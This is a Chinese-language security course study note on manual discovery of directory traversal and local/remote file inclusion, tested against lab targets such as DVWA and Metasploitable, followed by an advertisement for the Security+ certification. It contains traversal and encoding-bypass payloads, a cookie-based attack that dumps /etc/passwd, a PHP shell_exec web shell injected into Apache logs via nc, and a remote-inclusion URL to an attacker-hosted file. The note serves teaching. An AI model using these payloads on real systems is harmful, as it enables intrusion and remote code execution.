【安全牛学习笔记】手动漏洞挖掘(三)

手动漏洞挖掘

Directory travarsal / File include(有区别/没区别)

目录权限限制不严 / 文件包含

/etc/php5/cgi/php.ini

allow_url_include = on

应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件

读、写文件、远程执行代码

特征但不绝对

?page=a.php

?home=b.html

?file=content

[email protected]:~$ ifconfig

[email protected]:~$ sudo vi /etc/php5/cgi/php.ini

allow_url_include = ON

[email protected]:~$ sudo /etc/init.d/apache2 restart

手动漏洞挖掘

经典测试方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

"."    "%00"       #绕过文件扩展名过滤

file=a.doc%00.php

使用多种编码尝试

[email protected]:~# pwd

[email protected]:~# cd .                       //当前目录

[email protected]:~# cd ../../                  //根目录

[email protected]:~# cd ../../../../            //跳到根目录

手动漏洞挖掘

不同操作系统的路径特征字符

类unix系统

根目录: /

目录层级分隔符: /

Windows系统

C:\

\ 或 /

手动漏洞挖掘

url编码、双层url编码

%2e%2e%2f        解码: ../

%2e%2e%5c        解码: ..\

%252e%252e%255c  解码: ..\

Unicode/UTF-8编码

..%c0%af         解码: ../

..%u2216

..%c1%9c         解码: ..\

手动漏洞挖掘

其他系统路径可能使用到的字符

file.txt....

file.txt<spaces>

file.txt""""

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

UNC路径

\\1.1.1.1\path\to\file.txt

[email protected]:~# cd a

[email protected]:~# cd a/../a.txt

手工漏洞挖掘

代码 <?php

$template = 'blue.php'

if ( is_set( $_COOKIE['TEMPLATE'] ) )

$template = $_COOKIE['TEMPLATE'];

include ( "/home/users/phpguru/templates/" . $template );

?>

攻击 GET /vulnerable.php HTTP/1.0\

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

结果 HTTP/1.0 200 OK

Content-Type: text/html

Server:Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

daemon:*:1:1::/tmp:

phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

手动漏洞挖掘

本地文件包含lfi

查看文件

代码执行

<?php echo shell_exec($_GET['cmd']);?>

Apache access.log

远程文件包含rfi

出现概率少于lfi,但更容易被利用

[email protected]:~$ cd /var/log/apache2/

[email protected]:~/var/log/apache2$ cat access.log

r[email protected]:~# nc 192.168.1.118 80

<?php echo shell_exec($_GET['cmd']);?>

HTTP/1.1 400 Bad Request

Date: Mon, 18 jan 2016 12:19:29 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

Content-Length: 323

Contetion: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML_ PUBLIC "-//IEIF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />

</p>

<hr>

<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>

</body></html>

[email protected]:~/var/log/apache2$  ls -l access.log

[email protected]:~/var/log/apache2$ cd ..

[email protected]:~/var/log$ sudo chmod a+xr apache2/

[email protected]:~/var/log$ ls -ld apache2/

[email protected]:~/var/log$ cd ..

[email protected]:~/var$ ls -ld log

[email protected]:~/var$ cd ..

[email protected]:~$ ls -ld var/

[email protected]:~$ cd /var/log/apache2/

[email protected]:~/var/log/apache2$ cat access.log

192.168.1.168/dvwa/vulnerablities/fi/?page=http://192.168.1.119/a.php

[email protected]:~# nc -nclp 80

listening on [any] 80 ...

connect to [192.168.1.119 from (UNKNOWN) [192.168.1.118] 52612

GET /a.php HTTP/1.0

Host: 192.168.1.119

--------------------------------------------------------------------

<?php

$file = $_GET['page']; //The page we wish to display

?>

----------------------------------------------------------------------

?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php

if ( $file != "include.php" ) {

echo "ERROR: File not found!";

exit;

}

?>

?>

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

时间: 2024-11-06 09:18:08

【安全牛学习笔记】手动漏洞挖掘(三)的相关文章

【安全牛学习笔记】漏洞挖掘

漏洞本质   数据与指令的混淆   对用户输入信息过滤不严,误将指令当做数据 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除筛选 身份认证 弱口令/基于字典的爆破 密码嗅探 sessionID xss 嗅探sessionID长期不变 通过算法预测sessionID phpmyadmin远程命令执行低版本的php存在此漏洞 利用代码 POSThttp://1.1.1.1/phpMyAdmin/?-d+allow_url_include%3d1+-d +auto_prepend_

【安全牛学习】笔记手动漏洞挖掘(三)

手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_include = on 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件 读.写文件.远程执行代码 特征但不绝对 ?page=a.php ?home=b.html ?file=content [email protected]:~$ ifconfig [email protected]:

【安全牛学习笔记】漏洞概念

1.漏洞管理(信息维度) (1).信息收集 扫描发现网络IP.OS.服务.配置.漏洞 能力需求:定义扫描方式内容和目标 (2).信息管理格式化信息,并进行筛选.分组.定义优先级   能力需求:资产分组.指定所有者.向所有者报告漏洞 (3).信息输出向不同层级的人群展示足够的信息量 能力需求:生成报告.导出数据.与SIEM集成2.弱点扫描类型 (1).主动扫描有身份验证(登陆到系统中进行扫描) 无身份验证(黑盒扫描) (2).被动扫描镜像端口抓包 其他来源(嗅探) (3).基于agent扫描平台有

【安全牛学习笔记】手动漏洞挖掘-SQL注入

[email protected]:~# john --format=raw-MD5 dvwa.txt [email protected]:~# cd .john/ [email protected]:~/.john# ls john.log  john.pot [email protected]:~/.john# cat john.log [email protected]:~/.john# cat john.pot [email protected]:~/.john# rm *       

【安全牛学习笔记】&#8203;手动漏洞挖掘-SQL盲注

手动漏洞挖掘-----SQL盲注 不显示数据库内建的报错信息 内建的报错信息帮助开发人员发现和修复问题 报错信息提供关于系统的大量有用信息 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将 无法依据报错信息判断注入语句的执行结果,即 盲 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 1'and 1=1--+ 1'and 1=2--+ select * from table_name where id='1' orderby 2--'; 课时91 手动漏洞挖

【安全牛学习笔记】KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

KALI版本更新-----第一个ROLLING RELEASE Kali 2.0发布时声称将采用rolling release模式更新(但并未实施) Fixed-release 固定发布周期 使用软件稳定的主流版本 发布-----主流-----作废 更稳定,适合于企业生产环境 Rolling release 使用于开发者和技术人员 连续升级新版本,追求在新功能出现后最快使用 正在成为流行 KALI版本更新-----第一个ROLLING RELEASE Kali 2.0 rolling relea

【安全牛学习笔记】答疑(Conky、Goagent、Linux4.4内核发布),手动漏洞挖掘

问答 Conky https://weather.yahoo.com/ conkyrc beijing: 2151330 Goagent 不要启动多次 Win+M Linux 4.4内核发布,在虚拟机中可使用主机上的GPU [email protected]:~# vi .conkyrc ${execi 300 curl -s "http://weather.yahoapis.com/forecastrss?w=2151330=c" -o ~/.cache/weather.xml} 打

【安全牛学习笔记】&#8203;手动漏洞挖掘(四)

手动漏洞挖掘 本地文件包含lfi 查看文件 代码执行 <?php echo shell_exec($_GET['cmd']);?> Apache access.log 远程文件包含rfi 出现概率少于lfi,但更容易被利用 /usr/share/wfuzz/wordlist/vulns/ 手动漏洞挖掘 文件上传漏洞 <?php echo shell_exec($_GET['cmd']);?> 直接上传webshell 修改文件类型上传webshell Mimetype----文件头

【安全牛学习笔记】手动漏洞挖掘(二)

手动漏洞挖掘 身份认证 常用弱口令/基于字典的密码破爆破 锁定账号 信息收集 手机号 密码错误提示信息 密码嗅探 手动漏洞挖掘 会话sessionID Xss / cookie importer SessionID in URL 嗅探 sessionID长期不变 / 永久不变 sessionID生成算法 Sequencer 私有算法 预判下一次登录时生成的SessionID 登出后返回测试 手动漏洞挖掘 密码找回 https://www.example.com/[email protected]